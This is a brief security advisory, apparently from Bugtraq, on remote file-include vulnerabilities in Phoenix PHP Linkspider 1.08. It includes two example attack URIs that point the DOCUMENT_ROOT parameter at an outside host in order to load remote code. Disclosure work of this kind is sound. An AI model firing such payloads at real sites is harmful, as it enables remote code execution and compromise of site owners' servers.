Linkspider Multiple Remote File Include Vulnerabilities

Bugtraq ID:	30632
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 08 2008 12:00AM
Updated:	Aug 26 2008 06:34PM
Credit:	Rohit Bansal
Vulnerable:	Phoenix PHP Linkspider 1.08
Not Vulnerable:

Linkspider Multiple Remote File Include Vulnerabilities

Linkspider is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Linkspider 1.08 is vulnerable; other versions may be affected as well.

Linkspider Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/links.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com
http://www.example.com/links.inc.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com

Linkspider Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Linkspider Multiple Remote File Include Vulnerabilities

References:

• Linkspider Homepage (Phoenix PHP)